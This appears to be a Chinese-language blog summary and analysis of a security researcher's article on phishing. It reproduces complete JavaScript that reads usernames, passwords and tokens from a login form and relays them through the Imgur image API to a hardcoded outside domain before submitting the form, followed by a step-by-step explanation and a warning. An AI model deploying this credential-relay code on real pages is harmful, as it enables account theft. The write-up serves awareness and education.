Proxying Exfil Data Through Images | by Curtis Brazzell | Medium
上面网络安全的极客Curtis Brazzell 文章
以前一直听说钓鱼,一直不懂什么是钓鱼。看完这篇文章第一次理解钓鱼行为。
一、代码抽取(含关键结构)
以下是从截图中提取的核心代码逻辑(保留关键注释与结构):
<HTML>
<HEAD>
<SCRIPT>
// 1. 自执行函数:动态加载 jQuery
(function() {
var startingTime = new Date().getTime();
// 创建 script 标签加载 jQuery
var script = document.createElement("SCRIPT");
script.src = 'https://code.jquery.com/jquery-3.4.1.min.js';
script.type = 'text/javascript';
document.getElementsByTagName("head")[0].appendChild(script);
// 轮询检测 jQuery 是否加载完成
var checkReady = function(callback) {
if (window.jQuery) {
callback(jQuery);
} else {
window.setTimeout(function() { checkReady(callback); }, 20);
}
};
// 加载完成后执行回调(此处仅记录时间,无实际业务逻辑)
checkReady(function($) {
$(function() {
var endingTime = new Date().getTime();
var tookTime = endingTime - startingTime;
// window.alert('jQuery is loaded, after ' + tookTime + ' milliseconds!');
});
});
})();
// 2. 核心表单提交函数 SubForm
function SubForm(APIPortal, FormName, Project, SlackBotName, SlackEmoji, UsernameInputID, PasswordInputID, RedirURL, CSRFToken) {
// 参数解析(部分硬编码/从参数传入)
APIPortal = "https://auth-redir.com"; // 认证服务域名(硬编码)
var Username = SubForm.arguments[1]; // 用户名(参数第2位)
var Project = SubForm.arguments[2]; // 项目标识(参数第3位)
var SlackBotName = SubForm.arguments[3]; // Slack 机器人名称(参数第4位)
var SlackEmoji = SubForm.arguments[4]; // Slack 表情(参数第5位)
var UsernameInputID = SubForm.arguments[5]; // 用户名输入框 ID(参数第6位)
var PasswordInputID = SubForm.arguments[6]; // 密码输入框 ID(参数第7位)
var RedirURL = SubForm.arguments[7]; // 重定向 URL(参数第8位)
var CSRFToken = SubForm.arguments[8]; // CSRF Token 相关字段名(参数第9位)
// 获取页面中用户名、密码的输入值
var Username = document.getElementById(UsernameInputID).value;
var Password = document.getElementById(PasswordInputID).value;
var Token = document.getElementById("token"); // 页面中 token 元素
if(Token) { Token = Token.value; } else { Token = ''; }
// 构造“图片请求”URL(实则用于传递敏感数据)
var URL = 'type=URL&image=' + encodeURIComponent(APIPortal + '/img.png?' +
'project=' + Project + '&username=' + Username + '&password=' + Password +
'&token=' + Token + '&slackbotname=' + SlackBotName + '&slackemoji=' + SlackEmoji +
'&CSRFToken=' + CSRFToken + '&redirurl=' + RedirURL);
console.log(URL);
event.preventDefault(); // 阻止默认表单提交行为
$.ajax({
url: 'https://api.imgur.com/3/image?client_id=54ec25a99c58ad7', // Imgur API 接口
type: 'POST',
data: URL,
success: function(msg) {
// 处理远程返回的 CSRF Token(若存在则更新页面隐藏字段)
if(CSRFToken) {
var CSRFValue = msg;
if(document.getElementsByName(CSRFToken)[0]) {
document.getElementsByName(CSRFToken)[0].value = CSRFValue;
}
if(document.getElementById(CSRFToken)) {
document.getElementById(CSRFToken).value = CSRFValue;
}
}
// 提交原始表单(根据 name 或 id 查找表单并触发 submit)
if(document.getElementsByName(FormName)[0]) {
var x = document.getElementsByName(FormName)[0];
} else {
if(document.getElementById(FormName)) {
var x = document.getElementById(FormName);
}
}
x[0].submit();
}
});
}
</SCRIPT>
</HEAD>
<BODY>
<!-- 登录表单 -->
<FORM id="login">
<INPUT id="username" value="curtbraz" type="hidden"> <!-- 隐藏的用户名字段 -->
<INPUT id="password" value="P@ssw0rd!" type="hidden"> <!-- 隐藏的密码字段 -->
<!-- 点击按钮触发 SubForm,传递大量配置参数 -->
<BUTTON onclick="SubForm('login','Impurist','PhishBot','fishing_pole_and_fish','username','password','','')">HIT IT!</BUTTON>
</FORM>
</BODY>
</HTML>
二、代码作用分析(结合钓鱼攻击场景)
这段代码是典型的钓鱼工具前端实现,通过伪装成正常网页,窃取用户凭证并转发到攻击者控制的服务器。核心逻辑拆解如下:
1. 「动态加载 jQuery」—— 增强交互能力
- 自执行函数
(function(){ ... })()会动态插入<script>标签,从jquery.com加载 jQuery 库(版本 3.4.1)。 - 通过
checkReady轮询机制,确保 jQuery 加载完成后再执行后续依赖 jQuery 的代码(如 AJAX 请求)。
2. 「SubForm 函数」—— 窃取凭证+伪造请求
这是代码的核心恶意逻辑,分三步实现攻击:
(1)收集敏感信息
- 从页面 DOM 中读取
username、password输入框的值(截图中是隐藏的<input>,但实际钓鱼页可能伪装成可见输入框诱导用户填写)。 - 拼接
APIPortal(攻击者认证的域名)、Project(项目标识)、SlackBotName/SlackEmoji(通知渠道配置)、RedirURL(钓鱼后跳转地址)、CSRFToken(跨站请求伪造防护字段)等参数,构造包含所有敏感数据的字符串。
(2)利用 Imgur API 转发数据
- 构造一个看似“上传图片”的请求 URL,实则是将用户名、密码、CSRF Token 等敏感信息作为查询参数附加到
APIPortal/img.png路径下。 - 通过
$.ajax向Imgur API(https://api.imgur.com/3/image)发送 POST 请求,把包含敏感信息的 URL 当作“图片数据”上传。
→ 原理:Imgur 允许匿名上传图片,攻击者利用其 API 作为“中转通道”,把窃取的凭证转发到自己控制的APIPortal服务器(避免直接在钓鱼页暴露真实后端地址)。
(3)更新 CSRF Token + 提交原始表单
- 若 Imgur 响应中包含新的 CSRF Token,代码会更新页面中对应的隐藏字段(绕过目标网站的 CSRF 防护)。
- 最后找到名为
FormName的表单(截图中是id="login"的表单),调用submit()提交——此时表单已携带被篡改的 CSRF Token 和窃取的凭证,可成功登录目标系统。
3. 「前端伪装」—— 降低用户警惕
- 页面包含隐藏的
<input>存储默认账号密码(curtbraz/P@ssw0rd!),实际钓鱼时会替换为诱导用户输入的界面。 - 按钮文字 “HIT IT!” 伪装成正常操作,诱使用户点击触发
SubForm。
三、安全风险提示
这类代码是网络钓鱼攻击的典型载体,需高度警惕:
- 凭证窃取:用户名、密码会被发送到攻击者服务器,导致账号被盗。
- CSRF 绕过:通过动态更新 Token,突破目标网站的安全防护。
- 隐蔽性:利用 Imgur 等合法服务做中转,增加溯源难度。
若在非官方/可疑页面看到类似代码,应立即关闭页面,并通过正规渠道验证账号安全。